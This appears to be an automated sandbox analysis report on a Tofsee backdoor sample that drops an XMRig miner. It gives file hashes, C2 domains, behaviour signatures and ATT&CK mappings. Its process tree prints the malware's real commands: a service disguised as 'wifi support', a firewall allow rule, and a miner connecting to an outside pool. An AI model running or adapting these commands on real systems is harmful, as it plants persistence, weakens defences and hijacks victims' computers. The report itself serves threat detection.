Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    27-11-2022 16:24

General

  • Target

    file.exe

  • Size

    150KB

  • MD5

    2c7fef3be2816a8e7817857936d0b30d

  • SHA1

    244e5a9674d386c1c179532d02e775ec09fc85f5

  • SHA256

    9dd37088a9391d314eaf5b8c6ecfe7e64c07cfb7f86abb250b7d743478ca189b

  • SHA512

    f2211862335c0e6c5540af40fbcff688f7c643a771ea436126f367ac3cceb74352c6c2cbf2dbda45e809138e1ab1bac7f55832798a7dfb4b15139eb4b1a0819c

  • SSDEEP

    3072:M0QRwqrq5cmFhuOTJJv5K5z/r9I0yOZxcyBZyHWmHkNj6I5eaVX:OO51YiJO5zz9IkxRMHkNn5eaJ

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1364
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tphdwnz\
      2⤵
        PID:1372
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xrtbxrxq.exe" C:\Windows\SysWOW64\tphdwnz\
        2⤵
          PID:1248
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tphdwnz binPath= "C:\Windows\SysWOW64\tphdwnz\xrtbxrxq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1896
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tphdwnz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tphdwnz
          2⤵
          • Launches sc.exe
          PID:1724
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1652
      • C:\Windows\SysWOW64\tphdwnz\xrtbxrxq.exe
        C:\Windows\SysWOW64\tphdwnz\xrtbxrxq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:560
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1604
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1216

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\xrtbxrxq.exe
        Filesize

        12.6MB

        MD5

        3b9e6a2773313a2c80f85a0b02234298

        SHA1

        9cf50397667965177313a12e02582c30c555ae48

        SHA256

        b6dd827b6ebd2976666c3a0e2fbc493258aa2ce7a1a81a427dfd03a2e79d3218

        SHA512

        7d3a27b57b7c9db9e2e9149e607127f2fae8695c3d7a1eacd0a6bbc30d865e6019635125d1c67abc3dc65064e8c930ae05f36a316f1fac6c8eed4d3f6d34d47d

      • C:\Windows\SysWOW64\tphdwnz\xrtbxrxq.exe
        Filesize

        12.6MB

        MD5

        3b9e6a2773313a2c80f85a0b02234298

        SHA1

        9cf50397667965177313a12e02582c30c555ae48

        SHA256

        b6dd827b6ebd2976666c3a0e2fbc493258aa2ce7a1a81a427dfd03a2e79d3218

        SHA512

        7d3a27b57b7c9db9e2e9149e607127f2fae8695c3d7a1eacd0a6bbc30d865e6019635125d1c67abc3dc65064e8c930ae05f36a316f1fac6c8eed4d3f6d34d47d

      • memory/560-76-0x000000000063D000-0x000000000064E000-memory.dmp
        Filesize

        68KB

      • memory/560-77-0x0000000000400000-0x000000000045A000-memory.dmp
        Filesize

        360KB

      • memory/1216-99-0x00000000001A0000-0x0000000000291000-memory.dmp
        Filesize

        964KB

      • memory/1216-106-0x000000000023259C-mapping.dmp
      • memory/1216-101-0x00000000001A0000-0x0000000000291000-memory.dmp
        Filesize

        964KB

      • memory/1248-59-0x0000000000000000-mapping.dmp
      • memory/1364-58-0x0000000000400000-0x000000000045A000-memory.dmp
        Filesize

        360KB

      • memory/1364-57-0x00000000002B0000-0x00000000002C3000-memory.dmp
        Filesize

        76KB

      • memory/1364-56-0x00000000004FD000-0x000000000050E000-memory.dmp
        Filesize

        68KB

      • memory/1364-54-0x0000000075091000-0x0000000075093000-memory.dmp
        Filesize

        8KB

      • memory/1364-66-0x00000000004FD000-0x000000000050E000-memory.dmp
        Filesize

        68KB

      • memory/1364-67-0x0000000000400000-0x000000000045A000-memory.dmp
        Filesize

        360KB

      • memory/1372-55-0x0000000000000000-mapping.dmp
      • memory/1604-83-0x00000000000C0000-0x00000000000C6000-memory.dmp
        Filesize

        24KB

      • memory/1604-86-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1604-72-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/1604-70-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/1604-79-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/1604-80-0x0000000001A20000-0x0000000001C2F000-memory.dmp
        Filesize

        2.1MB

      • memory/1604-98-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/1604-73-0x0000000000119A6B-mapping.dmp
      • memory/1604-89-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/1604-92-0x0000000005520000-0x000000000592B000-memory.dmp
        Filesize

        4.0MB

      • memory/1604-95-0x00000000001C0000-0x00000000001C7000-memory.dmp
        Filesize

        28KB

      • memory/1652-65-0x0000000000000000-mapping.dmp
      • memory/1708-62-0x0000000000000000-mapping.dmp
      • memory/1724-63-0x0000000000000000-mapping.dmp
      • memory/1896-61-0x0000000000000000-mapping.dmp